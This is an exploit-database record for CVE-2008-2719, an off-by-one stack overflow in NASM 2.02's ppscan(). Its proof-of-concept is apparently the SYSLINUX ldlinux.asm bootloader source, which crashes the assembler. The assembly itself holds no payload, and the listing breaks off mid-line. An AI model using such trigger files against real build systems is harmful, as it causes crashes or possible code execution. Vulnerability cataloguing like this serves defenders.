{"exploit":{"id":"EDB-31903","name":"NASM 2.0 - 'ppscan()' Off-by-One Buffer Overflow","description":"NASM 2.0 - 'ppscan()' Off-by-One Buffer Overflow","cves":["CVE-2008-2719"],"author":"Philipp Thomas","published":"2008-06-21","platform":"linux","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/31903","path":"exploits/linux/remote/31903.asm","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-31903.asm","vulnerabilities":[{"id":"CVE-2008-2719","state":"PUBLISHED","title":null,"titleSource":null,"description":"Off-by-one error in the ppscan function (preproc.c) in Netwide Assembler (NASM) 2.02 allows context-dependent attackers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted file that triggers a stack-based buffer overflow.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2719","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2719"},"updatedAt":"2024-08-07T09:14:14.437Z","retrievedAt":"2026-11-27T12:11:40.432Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-31903.png?v=2","url":"https://exploitbin.com/exploits/EDB-31903","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-31903/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-31903/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2008/https://www.securityfocus.com/bid/29656/info\n\nNASM is prone to an off-by-one buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.\n\nSuccessfully exploiting this issue will allow attackers to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.\n\nNASM 2.02 and prior versions are vulnerable.\n\n; -*- fundamental -*- (asm-mode sucks)\n; ****************************************************************************\n;\n;  ldlinux.asm\n;\n;  A program to boot Linux kernels off an MS-DOS formatted floppy disk.\t This\n;  functionality is good to have for installation floppies, where it may\n;  be hard to find a functional Linux system to run LILO off.\n;\n;  This program allows manipulation of the disk to take place entirely\n;  from MS-LOSS, and can be especially useful in conjunction with the\n;  umsdos filesystem.\n;\n;   Copyright (C) 1994-2005  H. Peter Anvin\n;\n;  This program is free software; you can redistribute it and/or modify\n;  it under the terms of the GNU General Public License as published by\n;  the Free Software Foundation, Inc., 53 Temple Place Ste 330,\n;  Boston MA 02111-1307, USA; either version 2 of the License, or\n;  (at your option) any later version; incorporated herein by reference.\n;\n; ****************************************************************************\n\n%ifndef IS_MDSLINUX\n%define IS_SYSLINUX 1\n%endif\n\n%define WITH_GFX 1\n\n%include \"head.inc\"\n\n;\n; Some semi-configurable constants... change on your own risk.\n;\nmy_id\t\tequ syslinux_id\nFILENAME_MAX_LG2 equ 4\t\t\t; log2(Max filename size Including final null)\nFILENAME_MAX\tequ 11\t\t\t; Max mangled filename size\nNULLFILE\tequ &#039; &#039;\t\t\t; First char space == null filename\nNULLOFFSET\tequ 0\t\t\t; Position in which to look\nretry_count\tequ 16\t\t\t; How patient are we with the disk?\n%assign HIGHMEM_SLOP 0\t\t\t; Avoid this much memory near the top\nLDLINUX_MAGIC\tequ 0x3eb202fe\t\t; A random number to identify ourselves with\n\nMAX_OPEN_LG2\tequ 6\t\t\t; log2(Max number of open files)\nMAX_OPEN\tequ (1 << MAX_OPEN_LG2)\n\nSECTOR_SHIFT\tequ 9\nSECTOR_SIZE\tequ (1 << SECTOR_SHIFT)\n\n;\n; This is what we need to do when idle\n;\n%macro\tRESET_IDLE 0\n\t; Nothing\n%endmacro\n%macro\tDO_IDLE 0\n\t; Nothing\n%endmacro\n\n;\n; The following structure is used for \"virtual kernels\"; i.e. LILO-style\n; option labels.  The options we permit here are `kernel&#039; and `append\n; Since there is no room in the bottom 64K for all of these, we\n; stick them at vk_seg:0000 and copy them down before we need them.\n;\n\t\tstruc vkernel\nvk_vname:\tresb FILENAME_MAX\t; Virtual name **MUST BE FIRST!**\nvk_rname:\tresb FILENAME_MAX\t; Real name\nvk_appendlen:\tresw 1\n\t\talignb 4\nvk_append:\tresb max_cmd_len+1\t; Command line\n\t\talignb 4\nvk_end:\t\tequ $\t\t\t; Should be <= vk_size\n\t\tendstruc\n\n;\n; Segment assignments in the bottom 640K\n; Stick to the low 512K in case we&#039;re using something like M-systems flash\n; which load a driver into low RAM (evil!!)\n;\n; 0000h - main code/data segment (and BIOS segment)\n;\nreal_mode_seg\tequ 4000h\ncache_seg\tequ 3000h\t\t; 64K area for metadata cache\nvk_seg          equ 2000h\t\t; Virtual kernels\nxfer_buf_seg\tequ 1000h\t\t; Bounce buffer for I/O to high mem\ncomboot_seg\tequ real_mode_seg\t; COMBOOT image loading zone\nfirst_free_seg\tequ 5000h\t\t; end of syslinux used memory\n\n;\n; File structure.  This holds the information for each currently open file.\n;\n\t\tstruc open_file_t\nfile_sector\tresd 1\t\t\t; Sector pointer (0 = structure free)\nfile_left\tresd 1\t\t\t; Number of sectors left\n\t\tendstruc\n\n%ifndef DEPEND\n%if (open_file_t_size & (open_file_t_size-1))\n%error \"open_file_t is not a power of 2\"\n%endif\n%endif\n\n; ---------------------------------------------------------------------------\n;   BEGIN CODE\n; ---------------------------------------------------------------------------\n\n;\n; Memory below this point is reserved for the BIOS and the MBR\n;\n\t\tsection .earlybss\ntrackbufsize\tequ 8192\ntrackbuf\tresb trackbufsize\t; Track buffer goes here\ngetcbuf\t\tresb trackbufsize\n\t\t; ends at 4800h\n\n\t\tsection .bss\n\t\talignb 8\n\n\t\t; Expanded superblock\nSuperInfo\tequ $\n\t\tresq 16\t\t\t; The first 16 bytes expanded 8 times\nFAT\t\tresd 1\t\t\t; Location of (first) FAT\nRootDirArea\tresd 1\t\t\t; Location of root directory area\nRootDir\t\tresd 1\t\t\t; Location of root directory proper\nDataArea\tresd 1\t\t\t; Location of data area\nRootDirSize\tresd 1\t\t\t; Root dir size in sectors\nTotalSectors\tresd 1\t\t\t; Total number of sectors\nEndSector\tresd 1\t\t\t; Location of filesystem end\nClustSize\tresd 1\t\t\t; Bytes/cluster\nClustMask\tresd 1\t\t\t; Sectors/cluster - 1\nCopySuper\tresb 1\t\t\t; Distinguish .bs versus .bss\nDriveNumber\tresb 1\t\t\t; BIOS drive number\nClustShift\tresb 1\t\t\t; Shift count for sectors/cluster\nClustByteShift\tresb 1\t\t\t; Shift count for bytes/cluster\n\n\t\talignb open_file_t_size\nFiles\t\tresb MAX_OPEN*open_file_t_size\n\n;\n; Constants for the xfer_buf_seg\n;\n; The xfer_buf_seg is also used to store message file buffers.  We\n; need two trackbuffers (text and graphics), plus a work buffer\n; for the graphics decompressor.\n;\nxbs_textbuf\tequ 0\t\t\t; Also hard-coded, do not change\nxbs_vgabuf\tequ trackbufsize\nxbs_vgatmpbuf\tequ 2*trackbufsize\n\n\n\t\tsection .text\n;\n; Some of the things that have to be saved very early are saved\n; \"close\" to the initial stack pointer offset, in order to\n; reduce the code size...\n;\nStackBuf\tequ $-44-32\t\t; Start the stack here (grow down - 4K)\nPartInfo\tequ StackBuf\t\t; Saved partition table entry\nFloppyTable\tequ PartInfo+16\t\t; Floppy info table (must follow PartInfo)\nOrigFDCTabPtr\tequ StackBuf-4\t\t; The high dword on the stack\n\n;\n; Primary entry point.  Tempting as though it may be, we can&#039;t put the\n; initial \"cli\" here; the jmp opcode in the first byte is part of the\n; \"magic number\" (using the term very loosely) for the DOS superblock.\n;\nbootsec\t\tequ $\n\t\tjmp short start\t\t; 2 bytes\n\t\tnop\t\t\t; 1 byte\n;\n; \"Superblock\" follows -- it&#039;s in the boot sector, so it&#039;s already\n; loaded and ready for us\n;\nbsOemName\tdb &#039;SYSLINUX&#039;\t\t; The SYS command sets this, so...\n;\n; These are the fields we actually care about.  We end up expanding them\n; all to dword size early in the code, so generate labels for both\n; the expanded and unexpanded versions.\n;\n%macro\t\tsuperb 1\nbx %+ %1\tequ SuperInfo+($-superblock)*8+4\nbs %+ %1\tequ $\n\t\tzb 1\n%endmacro\n%macro\t\tsuperw 1\nbx %+ %1\tequ SuperInfo+($-superblock)*8\nbs %+ %1\tequ $\n\t\tzw 1\n%endmacro\n%macro\t\tsuperd 1\nbx %+ %1\tequ $\t\t\t; no expansion for dwords\nbs %+ %1\tequ $\n\t\tzd 1\n%endmacro\nsuperblock\tequ $\n\t\tsuperw BytesPerSec\n\t\tsuperb SecPerClust\n\t\tsuperw ResSectors\n\t\tsuperb FATs\n\t\tsuperw RootDirEnts\n\t\tsuperw Sectors\n\t\tsuperb Media\n\t\tsuperw FATsecs\n\t\tsuperw SecPerTrack\n\t\tsuperw Heads\nsuperinfo_size\tequ ($-superblock)-1\t; How much to expand\n\t\tsuperd Hidden\n\t\tsuperd HugeSectors\n\t\t;\n\t\t; This is as far as FAT12/16 and FAT32 are consistent\n\t\t;\n\t\tzb 54\t\t\t; FAT12/16 need 26 more bytes,\n\t\t\t\t\t; FAT32 need 54 more bytes\nsuperblock_len\tequ $-superblock\n\nSecPerClust\tequ bxSecPerClust\n;\n; Note we don&#039;t check the constraints above now; we did that at install\n; time (we hope!)\n;\nstart:\n\t\tcli\t\t\t; No interrupts yet, please\n\t\tcld\t\t\t; Copy upwards\n;\n; Set up the stack\n;\n\t\txor ax,ax\n\t\tmov ss,ax\n\t\tmov sp,StackBuf\t\t; Just below BSS\n\t\tmov es,ax\n;\n; DS:SI may contain a partition table entry.  Preserve it for us.\n;\n\t\tmov cx,8\t\t; Save partition info\n\t\tmov di,sp\n\t\trep movsw\n\n\t\tmov ds,ax\t\t; Now we can initialize DS...\n\n;\n; Now sautee the BIOS floppy info block to that it will support decent-\n; size transfers; the floppy block is 11 bytes and is stored in the\n; INT 1Eh vector (brilliant waste of resources, eh?)\n;\n; Of course, if BIOSes had been properly programmed, we wouldn&#039;t have\n; had to waste precious space with this code.\n;\n\t\tmov bx,fdctab\n\t\tlfs si,[bx]\t\t; FS:SI -> original fdctab\n\t\tpush fs\t\t\t; Save on stack in case we need to bail\n\t\tpush si\n\n\t\t; Save the old fdctab even if hard disk so the stack layout\n\t\t; is the same.  The instructions above do not change the flags\n\t\tmov [DriveNumber],dl\t; Save drive number in DL\n\t\tand dl,dl\t\t; If floppy disk (00-7F), assume no\n\t\t\t\t\t; partition table\n\t\tjs harddisk\n\nfloppy:\n\t\tmov cl,6\t\t; 12 bytes (CX == 0)\n\t\t; es:di -> FloppyTable already\n\t\t; This should be safe to do now, interrupts are off...\n\t\tmov [bx],di\t\t; FloppyTable\n\t\tmov [bx+2],ax\t\t; Segment 0\n\t\tfs rep movsw\t\t; Faster to move words\n\t\tmov cl,[bsSecPerTrack]  ; Patch the sector count\n\t\tmov [di-8],cl\n\t\t; AX == 0 here\n\t\tint 13h\t\t\t; Some BIOSes need this\n\n\t\tjmp short not_harddisk\n;\n; The drive number and possibly partition information was passed to us\n; by the BIOS or previous boot loader (MBR).  Current \"best practice\" is to\n; trust that rather than what the superblock contains.\n;\n; Would it be better to zero out bsHidden if we don&#039;t have a partition table?\n;\n; Note: di points to beyond the end of PartInfo\n;\nharddisk:\n\t\ttest byte [di-16],7Fh\t; Sanity check: \"active flag\" should\n\t\tjnz no_partition\t; be 00 or 80\n\t\tmov eax,[di-8]\t\t; Partition offset (dword)\n\t\tmov [bsHidden],eax\nno_partition:\n;\n; Get disk drive parameters (don&#039;t trust the superblock.)  Don&#039;t do this for\n; floppy drives -- INT 13:08 on floppy drives will (may?) return info about\n; what the *drive* supports, not about the *media*.  Fortunately floppy disks\n; tend to have a fixed, well-defined geometry which is stored in the superblock.\n;\n\t\t; DL == drive # still\n\t\tmov ah,08h\n\t\tint 13h\n\t\tjc no_driveparm\n\t\tand ah,ah\n\t\tjnz no_driveparm\n\t\tshr dx,8\n\t\tinc dx\t\t\t; Contains # of heads - 1\n\t\tmov [bsHeads],dx\n\t\tand cx,3fh\n\t\tmov [bsSecPerTrack],cx\nno_driveparm:\nnot_harddisk:\n;\n; Ready to enable interrupts, captain\n;\n\t\tsti\n\n;\n; Do we have EBIOS (EDD)?\n;\neddcheck:\n\t\tmov bx,55AAh\n\t\tmov ah,41h\t\t; EDD existence query\n\t\tmov dl,[DriveNumber]\n\t\tint 13h\n\t\tjc .noedd\n\t\tcmp bx,0AA55h\n\t\tjne .noedd\n\t\ttest cl,1\t\t; Extended disk access functionality set\n\t\tjz .noedd\n\t\t;\n\t\t; We have EDD support...\n\t\t;\n\t\tmov byte [getlinsec.jmp+1],(getlinsec_ebios-(getlinsec.jmp+2))\n.noedd:\n\n;\n; Load the first sector of LDLINUX.SYS; this used to be all proper\n; with parsing the superblock and root directory; it doesn&#039;t fit\n; together with EBIOS support, unfortunately.\n;\n\t\tmov eax,[FirstSector]\t; Sector start\n\t\tmov bx,ldlinux_sys\t; Where to load it\n\t\tcall getonesec\n\n\t\t; Some modicum of integrity checking\n\t\tcmp dword [ldlinux_magic+4],LDLINUX_MAGIC^HEXDATE\n\t\tjne kaboom\n\n\t\t; Go for it...\n\t\tjmp ldlinux_ent\n\n;\n; getonesec: get one disk sector\n;\ngetonesec:\n\t\tmov bp,1\t\t; One sector\n\t\t; Fall through\n\n;\n; getlinsec: load a sequence of BP floppy sector given by the linear sector\n;\t     number in EAX into the buffer at ES:BX.  We try to optimize\n;\t     by loading up to a whole track at a time, but the user\n;\t     is responsible for not crossing a 64K boundary.\n;\t     (Yes, BP is weird for a count, but it was available...)\n;\n;\t     On return, BX points to the first byte after the transferred\n;\t     block.\n;\n;            This routine assumes CS == DS, and trashes most registers.\n;\n; Stylistic note: use \"xchg\" instead of \"mov\" when the source is a register\n; that is dead from that point; this saves space.  However, please keep\n; the order to dst,src to keep things sane.\n;\ngetlinsec:\n\t\tadd eax,[bsHidden]\t\t; Add partition offset\n\t\txor edx,edx\t\t\t; Zero-extend LBA (eventually allow 64 bits)\n\n.patch:\t\tjmp strict near .jmp\n\n.jmp:\t\tjmp strict short getlinsec_cbios\n\n;\n; getlinsec_ebios:\n;\n; getlinsec implementation for EBIOS (EDD)\n;\ngetlinsec_ebios:\n.loop:\n                push bp                         ; Sectors left\n.retry2:\n\t\tcall maxtrans\t\t\t; Enforce maximum transfer size\n\t\tmovzx edi,bp\t\t\t; Sectors we are about to read\n\t\tmov cx,retry_count\n.retry:\n\n\t\t; Form DAPA on stack\n\t\tpush edx\n\t\tpush eax\n\t\tpush es\n\t\tpush bx\n\t\tpush di\n\t\tpush word 16\n\t\tmov si,sp\n\t\tpushad\n                mov dl,[DriveNumber]\n\t\tpush ds\n\t\tpush ss\n\t\tpop ds\t\t\t\t; DS <- SS\n                mov ah,42h                      ; Extended Read\n\t\tint 13h\n\t\tpop ds\n\t\tpopad\n\t\tlea sp,[si+16]\t\t\t; Remove DAPA\n\t\tjc .error\n        \tpop bp\n\t\tadd eax,edi\t\t\t; Advance sector pointer\n\t\tsub bp,di\t\t\t; Sectors left\n                shl di,SECTOR_SHIFT\t\t; 512-byte sectors\n                add bx,di                   \t; Advance buffer pointer\n                and bp,bp\n                jnz .loop\n\n                ret\n\n.error:\n\t\t; Some systems seem to get \"stuck\" in an error state when\n\t\t; using EBIOS.  Doesn&#039;t happen when using CBIOS, which is\n\t\t; good, since some other systems get timeout failures\n\t\t; waiting for the floppy disk to spin up.\n\n\t\tpushad\t\t\t\t; Try resetting the device\n\t\txor ax,ax\n\t\tmov dl,[DriveNumber]\n\t\tint 13h\n\t\tpopad\n\t\tloop .retry\t\t\t; CX-- and jump if not zero\n\n\t\t;shr word [MaxTransfer],1\t; Reduce the transfer size\n\t\t;jnz .retry2\n\n\t\t; Total failure.  Try falling back to CBIOS.\n\t\tmov byte [getlinsec.jmp+1],(getlinsec_cbios-(getlinsec.jmp+2))\n\t\t;mov byte [MaxTransfer],63\t; Max possibe CBIOS transfer\n\n\t\tpop bp\n\t\t; ... fall through ...\n\n;\n; getlinsec_cbios:\n;\n; getlinsec implementation for legacy CBIOS\n;\ngetlinsec_cbios:\n.loop:\n\t\tpush edx\n\t\tpush eax\n\t\tpush bp\n\t\tpush bx\n\n\t\tmovzx esi,word [bsSecPerTrack]\n\t\tmovzx edi,word [bsHeads]\n\t\t;\n\t\t; Dividing by sectors to get (track,sector): we may have\n\t\t; up to 2^18 tracks, so we need to use 32-bit arithmetric.\n\t\t;\n\t\tdiv esi\n\t\txor cx,cx\n\t\txchg cx,dx\t\t; CX <- sector index (0-based)\n\t\t\t\t\t; EDX <- 0\n\t\t; eax = track #\n\t\tdiv edi\t\t\t; Convert track to head/cyl\n\n\t\t; We should test this, but it doesn&#039;t fit...\n\t\t; cmp eax,1023\n\t\t; ja .error\n\n\t\t;\n\t\t; Now we have AX = cyl, DX = head, CX = sector (0-based),\n\t\t; BP = sectors to transfer, SI = bsSecPerTrack,\n\t\t; ES:BX = data target\n\t\t;\n\n\t\tcall maxtrans\t\t\t; Enforce maximum transfer size\n\n\t\t; Must not cross track boundaries, so BP <= SI-CX\n\t\tsub si,cx\n\t\tcmp bp,si\n\t\tjna .bp_ok\n\t\tmov bp,si\n.bp_ok:\n\n\t\tshl ah,6\t\t; Because IBM was STOOPID\n\t\t\t\t\t; and thought 8 bits were enough\n\t\t\t\t\t; then thought 10 bits were enough...\n\t\tinc cx\t\t\t; Sector numbers are 1-based, sigh\n\t\tor cl,ah\n\t\tmov ch,al\n\t\tmov dh,dl\n\t\tmov dl,[DriveNumber]\n\t\txchg ax,bp\t\t; Sector to transfer count\n\t\tmov ah,02h\t\t; Read sectors\n\t\tmov bp,retry_count\n.retry:\n\t\tpushad\n\t\tint 13h\n\t\tpopad\n\t\tjc .error\n.resume:\n\t\tmovzx ecx,al\t\t; ECX <- sectors transferred\n\t\tshl ax,SECTOR_SHIFT\t; Convert sectors in AL to bytes in AX\n\t\tpop bx\n\t\tadd bx,ax\n\t\tpop bp\n\t\tpop eax\n\t\tpop edx\n\t\tadd eax,ecx\n\t\tsub bp,cx\n\t\tjnz .loop\n\t\tret\n\n.error:\n\t\tdec bp\n\t\tjnz .retry\n\n\t\txchg ax,bp\t\t; Sectors transferred <- 0\n\t\tshr word [MaxTransfer],1\n\t\tjnz .resume\n\t\t; Fall through to disk_error\n\n;\n; kaboom: write a message and bail out.\n;\ndisk_error:\nkaboom:\n\t\txor si,si\n\t\tmov ss,si\n\t\tmov sp,StackBuf-4 \t; Reset stack\n\t\tmov ds,si\t\t; Reset data segment\n\t\tpop dword [fdctab]\t; Restore FDC table\n.patch:\t\t\t\t\t; When we have full code, intercept here\n\t\tmov si,bailmsg\n\n\t\t; Write error message, this assumes screen page 0\n.loop:\t\tlodsb\n\t\tand al,al\n                jz .done\n\t\tmov ah,0Eh\t\t; Write to screen as TTY\n\t\tmov bx,0007h\t\t; Attribute\n\t\tint 10h\n\t\tjmp short .loop\n.done:\n\t\tcbw\t\t\t; AH <- 0\n\t\tint 16h\t\t\t; Wait for keypress\n\t\tint 19h\t\t\t; And try once more to boot...\n.norge:\t\tjmp short .norge\t; If int 19h returned; this is the end\n\n;\n; Truncate BP to MaxTransfer\n;\nmaxtrans:\n\t\tcmp bp,[MaxTransfer]\n\t\tjna .ok\n\t\tmov bp,[MaxTransfer]\n.ok:\t\tret\n\n;\n; Error message on failure\n;\nbailmsg:\tdb &#039;Boot error&#039;, 0Dh, 0Ah, 0\n\n\t\t; This fails if the boot sector overflows\n\t\tzb 1F8h-($-$$)\n\nFirstSector\tdd 0xDEADBEEF\t\t\t; Location of sector 1\nMaxTransfer\tdw 0x007F\t\t\t; Max transfer size\nbootsignature\tdw 0AA55h\n\n;\n; ===========================================================================\n;  End of boot sector\n; ===========================================================================\n;  Start of LDLINUX.SYS\n; ===========================================================================\n\nldlinux_sys:\n\nsyslinux_banner\tdb 0Dh, 0Ah\n%if IS_MDSLINUX\n\t\tdb &#039;MDSLINUX &#039;\n%else\n\t\tdb &#039;SYSLINUX &#039;\n%endif\n\t\tdb version_str, &#039; &#039;, date, &#039; &#039;, 0\n\t\tdb 0Dh, 0Ah, 1Ah\t; EOF if we \"type\" this in DOS\n\n\t\talign 8, db 0\nldlinux_magic\tdd LDLINUX_MAGIC\n\t\tdd LDLINUX_MAGIC^HEXDATE\n\n;\n; This area is patched by the installer.  It is found by looking for\n; LDLINUX_MAGIC, plus 8 bytes.\n;\npatch_area:\nLDLDwords\tdw 0\t\t; Total dwords starting at ldlinux_sys\nLDLSectors\tdw 0\t\t; Number of sectors - (bootsec+this sec)\nCheckSum\tdd 0\t\t; Checksum starting at ldlinux_sys\n\t\t\t\t; value = LDLINUX_MAGIC - [sum of dwords]\n\n; Space for up to 64 sectors, the theoretical maximum\nSectorPtrs\ttimes 64 dd 0\n\nldlinux_ent:\n;\n; Note that some BIOSes are buggy and run the boot sector at 07C0:0000\n; instead of 0000:7C00 and the like.  We don&#039;t want to add anything\n; more to the boot sector, so it is written to not assume a fixed\n; value in CS, but we don&#039;t want to deal with that anymore from now\n; on.\n;\n\t\tjmp 0:.next\n.next:\n\n;\n; Tell the user we got this far\n;\n\t\tmov si,syslinux_banner\n\t\tcall writestr\n\n;\n; Tell the user if we&#039;re using EBIOS or CBIOS\n;\nprint_bios:\n\t\tmov si,cbios_name\n\t\tcmp byte [getlinsec.jmp+1],(getlinsec_ebios-(getlinsec.jmp+2))\n\t\tjne .cbios\n\t\tmov si,ebios_name\n.cbios:\n\t\tmov [BIOSName],si\n\t\tcall writestr\n\n\t\tsection .bss\n%define\tHAVE_BIOSNAME 1\nBIOSName\tresw 1\n\n\t\tsection .text\n;\n; Now we read the rest of LDLINUX.SYS.\tDon&#039;t bother loading the first\n; sector again, though.\n;\nload_rest:\n\t\tmov si,SectorPtrs\n\t\tmov bx,7C00h+2*SECTOR_SIZE\t; Where we start loading\n\t\tmov cx,[LDLSectors]\n\n.get_chunk:\n\t\tjcxz .done\n\t\txor bp,bp\n\t\tlodsd\t\t\t\t; First sector of this chunk\n\n\t\tmov edx,eax\n\n.make_chunk:\n\t\tinc bp\n\t\tdec cx\n\t\tjz .chunk_ready\n\t\tinc edx\t\t\t\t; Next linear sector\n\t\tcmp [si],edx\t\t\t; Does it match\n\t\tjnz .chunk_ready\t\t; If not, this is it\n\t\tadd si,4\t\t\t; If so, add sector to chunk\n\t\tjmp short .make_chunk\n\n.chunk_ready:\n\t\tcall getlinsecsr\n\t\tshl bp,SECTOR_SHIFT\n\t\tadd bx,bp\n\t\tjmp .get_chunk\n\n.done:\n\n;\n; All loaded up, verify that we got what we needed.\n; Note: the checksum field is embedded in the checksum region, so\n; by the time we get to the end it should all cancel out.\n;\nverify_checksum:\n\t\tmov si,ldlinux_sys\n\t\tmov cx,[LDLDwords]\n\t\tmov edx,-LDLINUX_MAGIC\n.checksum:\n\t\tlodsd\n\t\tadd edx,eax\n\t\tloop .checksum\n\n\t\tand edx,edx\t\t\t; Should be zero\n\t\tjz all_read\t\t\t; We&#039;re cool, go for it!\n\n;\n; Uh-oh, something went bad...\n;\n\t\tmov si,checksumerr_msg\n\t\tcall writestr\n\t\tjmp kaboom\n\n;\n; -----------------------------------------------------------------------------\n; Subroutines that have to be in the first sector\n; -----------------------------------------------------------------------------\n\n;\n;\n; writestr: write a null-terminated string to the console\n;\t    This assumes we&#039;re on page 0.  This is only used for early\n;           messages, so it should be OK.\n;\nwritestr:\n.loop:\t\tlodsb\n\t\tand al,al\n                jz .return\n\t\tmov ah,0Eh\t\t; Write to screen as TTY\n\t\tmov bx,0007h\t\t; Attribute\n\t\tint 10h\n\t\tjmp short .loop\n.return:\tret\n\n\n; getlinsecsr: save registers, call getlinsec, restore registers\n;\ngetlinsecsr:\tpushad\n\t\tcall getlinsec\n\t\tpopad\n\t\tret\n\n;\n; Checksum error message\n;\nchecksumerr_msg\tdb &#039; Load error - &#039;, 0\t; Boot failed appended\n\n;\n; BIOS type string\n;\ncbios_name\tdb &#039;CBIOS&#039;, 0\nebios_name\tdb &#039;EBIOS&#039;, 0\n\n;\n; Debug routine\n;\n%ifdef debug\nsafedumpregs:\n\t\tcmp word [Debug_Magic],0D00Dh\n\t\tjnz nc_return\n\t\tjmp dumpregs\n%endif\n\nrl_checkpt\tequ $\t\t\t\t; Must be <= 8000h\n\nrl_checkpt_off\tequ ($-$$)\n%ifndef DEPEND\n%if rl_checkpt_off > 400h\n%error \"Sector 1 overflow\"\n%endif\n%endif\n\n; ----------------------------------------------------------------------------\n;  End of code and data that have to be in the first sector\n; ----------------------------------------------------------------------------\n\nall_read:\n;\n; Let the user (and programmer!) know we got this far.  This used to be\n; in Sector 1, but makes a lot more sense here.\n;\n\t\tmov si,copyright_str\n\t\tcall writestr\n\n\n;\n; Insane hack to expand the superblock to dwords\n;\nexpand_super:\n\t\txor eax,eax\n\t\tmov si,superblock\n\t\tmov di,SuperInfo\n\t\tmov cx,superinfo_size\n.loop:\n\t\tlodsw\n\t\tdec si\n\t\tstosd\t\t\t\t; Store expanded word\n\t\txor ah,ah\n\t\tstosd\t\t\t\t; Store expanded byte\n\t\tloop .loop\n\n;\n; Compute some information about this filesystem.\n;\n\n; First, generate the map of regions\ngenfatinfo:\n\t\tmov edx,[bxSectors]\n\t\tand dx,dx\n\t\tjnz .have_secs\n\t\tmov edx,[bsHugeSectors]\n.have_secs:\n\t\tmov [TotalSectors],edx\n\n\t\tadd edx,eax\n\t\tmov [EndSector],edx\n\n\t\tmov eax,[bxResSectors]\n\t\tmov [FAT],eax\t\t\t; Beginning of FAT\n\t\tmov edx,[bxFATsecs]\n\t\tand dx,dx\n\t\tjnz .have_fatsecs\n\t\tmov edx,[bootsec+36]\t\t; FAT32 BPB_FATsz32\n.have_fatsecs:\n\t\timul edx,[bxFATs]\n\t\tadd eax,edx\n\t\tmov [RootDirArea],eax\t\t; Beginning of root directory\n\t\tmov [RootDir],eax\t\t; For FAT12/16 == root dir location\n\n\t\tmov edx,[bxRootDirEnts]\n\t\tadd dx,SECTOR_SIZE/32-1\n\t\tshr dx,SECTOR_SHIFT-5\n\t\tmov [RootDirSize],edx\n\t\tadd eax,edx\n\t\tmov [DataArea],eax\t\t; Beginning of data area\n\n; Next, generate a cluster size shift count and mask\n\t\tmov eax,[bxSecPerClust]\n\t\tbsr cx,ax\n\t\tmov [ClustShift],cl\n\t\tpush cx\n\t\tadd cl,9\n\t\tmov [ClustByteShift],cl\n\t\tpop cx\n\t\tdec ax\n\t\tmov [ClustMask],eax\n\t\tinc ax\n\t\tshl eax,9\n\t\tmov [ClustSize],eax\n\n;\n; FAT12, FAT16 or FAT28^H^H32?  This computation is fscking ridiculous.\n;\ngetfattype:\n\t\tmov eax,[EndSector]\n\t\tsub eax,[DataArea]\n\t\tshr eax,cl\t\t\t; cl == ClustShift\n\t\tmov cl,nextcluster_fat12-(nextcluster+2)\n\t\tcmp eax,4085\t\t\t; FAT12 limit\n\t\tjb .setsize\n\t\tmov cl,nextcluster_fat16-(nextcluster+2)\n\t\tcmp eax,65525\t\t\t; FAT16 limit\n\t\tjb .setsize\n\t\t;\n\t\t; FAT32, root directory is a cluster chain\n\t\t;\n\t\tmov cl,[ClustShift]\n\t\tmov eax,[bootsec+44]\t\t; Root directory cluster\n\t\tsub eax,2\n\t\tshl eax,cl\n\t\tadd eax,[DataArea]\n\t\tmov [RootDir],eax\n\t\tmov cl,nextcluster_fat28-(nextcluster+2)\n.setsize:\n\t\tmov byte [nextcluster+1],cl\n\n;\n; Common initialization code\n;\n%include \"cpuinit.inc\"\n%include \"init.inc\"\n\n;\n; Clear Files structures\n;\n\t\tmov di,Files\n\t\tmov cx,(MAX_OPEN*open_file_t_size)/4\n\t\txor eax,eax\n\t\trep stosd\n\n;\n; Initialize the metadata cache\n;\n\t\tcall initcache\n\n;\n; Now, everything is \"up and running\"... patch kaboom for more\n; verbosity and using the full screen system\n;\n\t\t; E9 = JMP NEAR\n\t\tmov dword [kaboom.patch],0e9h+((kaboom2-(kaboom.patch+3)) << 8)\n\n;\n; Now we&#039;re all set to start with our *real* business.\tFirst load the\n; configuration file (if any) and parse it.\n;\n; In previous versions I avoided using 32-bit registers because of a\n; rumour some BIOSes clobbered the upper half of 32-bit registers at\n; random.  I figure, though, that if there are any of those still left\n; they probably won&#039;t be trying to install Linux on them...\n;\n; The code is still ripe with 16-bitisms, though.  Not worth the hassle\n; to take&#039;m out.  In fact, we may want to put them back if we&#039;re going\n; to boot ELKS at some point.\n;\n\n;\n; Load configuration file\n;\n\t\tmov di,syslinux_cfg\n\t\tcall open\n\t\tjz no_config_file\n\n;\n; Now we have the config file open.  Parse the config file and\n; run the user interface.\n;\n%include \"ui.inc\"\n\n;\n; Linux kernel loading code is common.\n;\n%include \"runkernel.inc\"\n\n;\n; COMBOOT-loading code\n;\n%include \"comboot.inc\"\n%include \"com32.inc\"\n%include \"cmdline.inc\"\n\n;\n; Boot sector loading code\n;\n%include \"bootsect.inc\"\n\n;\n; Boot a specified local disk.  AX specifies the BIOS disk number; or\n; 0xFFFF in case we should execute INT 18h (\"next device.\")\n;\nlocal_boot:\n%ifdef WITH_GFX\n\t\tcall gfx_done\n%endif\n\t\tcall vgaclearmode\n\t\tlss sp,[cs:Stack]\t\t; Restore stack pointer\n\t\txor dx,dx\n\t\tmov ds,dx\n\t\tmov es,dx\n\t\tmov fs,dx\n\t\tmov gs,dx\n\t\tmov si,localboot_msg\n\t\tcall cwritestr\n\t\tcmp ax,-1\n\t\tje .int18\n\n\t\t; Load boot sector from the specified BIOS device and jump to it.\n\t\tmov dl,al\n\t\txor dh,dh\n\t\tpush dx\n\t\txor ax,ax\t\t\t; Reset drive\n\t\tint 13h\n\t\tmov ax,0201h\t\t\t; Read one sector\n\t\tmov cx,0001h\t\t\t; 